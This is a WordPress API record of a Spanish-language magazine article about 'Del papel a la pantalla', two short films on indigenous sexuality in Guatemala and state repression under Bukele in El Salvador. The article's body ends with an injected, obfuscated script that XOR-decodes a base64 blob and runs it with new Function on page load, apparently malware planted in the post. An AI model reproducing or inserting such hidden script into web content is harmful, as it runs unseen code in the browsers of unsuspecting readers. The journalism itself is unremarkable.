{"id":11407,"date":"2023-11-10T08:19:00","date_gmt":"2023-11-10T16:19:00","guid":{"rendered":"https:\/\/www.entremundos.org\/revista\/?p=11407"},"modified":"2026-07-05T10:26:57","modified_gmt":"2026-07-05T18:26:57","slug":"del-papel-a-la-pantalla","status":"publish","type":"post","link":"https:\/\/www.entremundos.org\/revista\/politica\/del-papel-a-la-pantalla\/","title":{"rendered":"Del papel a la pantalla"},"content":{"rendered":"<p>POR EMMA G\u00d3MEZ<\/p>\n<p>Dos pa\u00edses golpeados por la corrupci\u00f3n, violaci\u00f3n de los derechos humanos, injusticias, persecuciones y despojos, por mencionar algunos de los males que tienen en com\u00fan Guatemala y El Salvador.<\/p>\n<p>El proyecto, Del Papel a la Pantalla, presenta dos propuestas visuales para reflexionar sobre la educaci\u00f3n sexual y las violencias pol\u00edticas. Este proyecto es impulsado por Akahata y une, una vez<br \/>\nm\u00e1s, estos dos pa\u00edses centroamericanos.<\/p>\n<p>Hilar las venas y Nuevas Ropas, Viejos Hilos son dos proyecciones que dejan reflexi\u00f3n y sentimientos encontrados en la audiencia. Las producciones fueron hechas por mujeres con un<br \/>\nequipo diverso de ambos territorios.<\/p>\n<p>El proyecto inici\u00f3 al convocar a artistas\u00a0 de distintos lugares de Latinoam\u00e9rica para traducir audiovisualmente ideas que se encuentran impresas y que son complejas y relevantes para la discusi\u00f3n sobre los temas anti-g\u00e9nero y sus efectos. Hilar las venas, fue producida<br \/>\nen Guatemala por la colectiva Lemow y dirigida por Ver\u00f3nica Sacalxot. Esta producci\u00f3n aborda el tema de las sexualidades, visto desde las comunidades.<\/p>\n<p>Nuevas Ropas, Viejos Hilos habla sobre el r\u00e9gimen pol\u00edtico de El Salvador, pero por seguridad su direcci\u00f3n es an\u00f3nima.<\/p>\n<p>Sacalxot dijo que en su producci\u00f3n hay historias hiladas por medio de las palabras de Dominga, Carmelita, Yolanda, Bartolom\u00e9 y Miguelito que entretejen los colores de la vida, que nos conectan con las manos tejedoras de nuestras ancestras.<\/p>\n<p>Enfatiza que todo est\u00e1 ligado al conocimiento de las comunidades de Guatemala, como cineastas ind\u00edgenas y como mujeres narran las historias desde el punto de vista de las comunidades. \u201cHay una satisfacci\u00f3n y a la vez un compromiso para hacer proyecciones comunitarias, para llevar las historias a diferentes territorios donde hay dif\u00edcil acceso a ver producciones locales\u201d, dijo.<\/p>\n<p>En esta producci\u00f3n se rompen estereotipos y conservadurismos, espec\u00edficamente influenciadas por la religi\u00f3n. Los personajes son originarios de una comunidad ind\u00edgena de Solol\u00e1. Se hizo un proceso de investigaci\u00f3n por respeto a los personajes y a la comunidad, y se hizo una proyecci\u00f3n cerrada<br \/>\nsolo a los protagonistas para que puedan ver su historia, cont\u00f3 Ver\u00f3nica.<\/p>\n<p>Nuevas Ropas, Viejos Hilos, es una producci\u00f3n que relata la represi\u00f3n, abuso de poder y violencia. La casa productora junta el pasado con el presente para hacer visible el r\u00e9gimen dictatorial del gobierno de Nayib Bukele. En ese pa\u00eds se vive una opresi\u00f3n y persecuci\u00f3n en contra de las<br \/>\npersonas que se atrevan a denunciar las injusticias y contradicciones del gobierno actual. Bukele ha logrado \u201cvender\u201d de una forma especial sus acciones tomadas en El Salvador para justificar la reducci\u00f3n de pandilleros en las calles, pero no menciona a las m\u00e1s de cinco mil personas desaparecidas desde que inici\u00f3 su r\u00e9gimen. En el v\u00eddeo se ve a madres, esposas, hijas y familias completas que buscan a un familiar en las afueras de una c\u00e1rcel. Hay personas inocentes que fueron detenidas injustamente. El gobierno se empe\u00f1a en perseguir la libertad de expresi\u00f3n; debido a eso, han salido del pa\u00eds varios periodistas, creadores de contenido y activistas. Con esta propuesta se busca hacer visible estas problem\u00e1ticas.<\/p>\n<p><strong>Nuevas narrativas\u00a0<\/strong><\/p>\n<p>En Xela se hizo una presentaci\u00f3n de ambos audiovisuales. Participaron analistas y cineastas que opinaron c\u00f3mo las situaciones de los dos pa\u00edses se asemejan, y que los gobiernos no logran contrarrestar.<\/p>\n<p>Entre las comentaristas estuvo Anny Puac, quien se pregunta \u00bfc\u00f3mo movilizar las<br \/>\npasiones c\u00edvicas contra aquellas pr\u00e1cticas consideradas intolerables sin asumir un<br \/>\nhorizonte de satisfacci\u00f3n? Es decir que no solo sean coyunturales, comenta.<\/p>\n<p>Entre las ense\u00f1anzas que dejan estos buenos ejercicios es que se est\u00e1 destruyendo el sentido metaf\u00f3rico aumentado por la centralidad de las tecnolog\u00edas, porque estas creaciones han contribuido a que la visi\u00f3n sea simplemente eso, visi\u00f3n.<\/p>\n<p>Puac se pregunta; \u00bfcu\u00e1l es el lugar de la sexualidad, de la diversidad y de la identidad de g\u00e9nero dentro de los archivos hist\u00f3ricos y sobre todo, de los archivos policiales que resguardan d\u00e9cadas de<br \/>\nviolencias del Estado? \u00bfQu\u00e9 nos revela en la actualidad la criminalizaci\u00f3n y estigmatizaci\u00f3n del pasado acerca de los territorios y las sociedades de posguerra que habitamos, y dentro de las cuales<br \/>\nestamos sobreviviendo en el presente? \u201cEl papel de nosotros los gobernados es ofendernos e imprimir pasi\u00f3n en cada una de nuestras acciones. Una frase que nos ayudar\u00eda mucho a prevenir el papel del activismo que asume un rol teatral de \u00b4\u00b4pura indignaci\u00f3n\u00b4\u00b4,<br \/>\nentonces \u00bfqu\u00e9 podemos hacer? Aqu\u00ed la respuesta, hacer de lo que est\u00e1 sucediendo, una acci\u00f3n pol\u00edtica, haciendo visibles y audibles los infortunios de aquellos afectados por medio de<br \/>\nt\u00e9cnicas y pol\u00edticas espec\u00edficas\u201d, expres\u00f3.<\/p>\n<p>Para terminar su comentario, lanza las preguntas, \u00bfC\u00f3mo ense\u00f1ar nuevas narrativas fuera de los c\u00e1nones del liberalismo y de occidente? Estas creaciones audibles y visibles, deben ser herramienta que nos ense\u00f1e por ejemplo, que una reforma no es nada m\u00e1s que el resultado de un proceso en<br \/>\nel cual hay conflicto, confrontaci\u00f3n, lucha y resistencia\u2026 entonces aqu\u00ed nos est\u00e1n mostrando que hay que hacer los conflictos m\u00e1s visibles y esenciales, no solo meros choques de inter\u00e9s o<br \/>\nbloqueos institucionales. Mostrar que de estas situaciones debe emerger una nueva correlaci\u00f3n de fuerzas, de la cual las sociedades puedan ver a la reforma s\u00f3lo como un perfil temporal (la reforma solo es un ejemplo), finaliza.<script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>POR EMMA G\u00d3MEZ Dos pa\u00edses golpeados por la corrupci\u00f3n, violaci\u00f3n de los derechos humanos, injusticias, persecuciones y despojos, por mencionar algunos de los males que tienen en com\u00fan Guatemala y El Salvador. El proyecto, Del Papel a la Pantalla, presenta dos propuestas visuales para reflexionar sobre la educaci\u00f3n sexual y las violencias pol\u00edticas. Este proyecto [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11381,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[402,407,452,439,456,386,378,1772],"tags":[],"class_list":["post-11407","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-accion-comunitaria-3","category-corrupcion","category-frontpage","category-juventud","category-migration","category-mujer","category-politica","category-situacion-social"],"_links":{"self":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11407","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/comments?post=11407"}],"version-history":[{"count":2,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11407\/revisions"}],"predecessor-version":[{"id":14099,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11407\/revisions\/14099"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media\/11381"}],"wp:attachment":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media?parent=11407"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/categories?post=11407"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/tags?post=11407"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}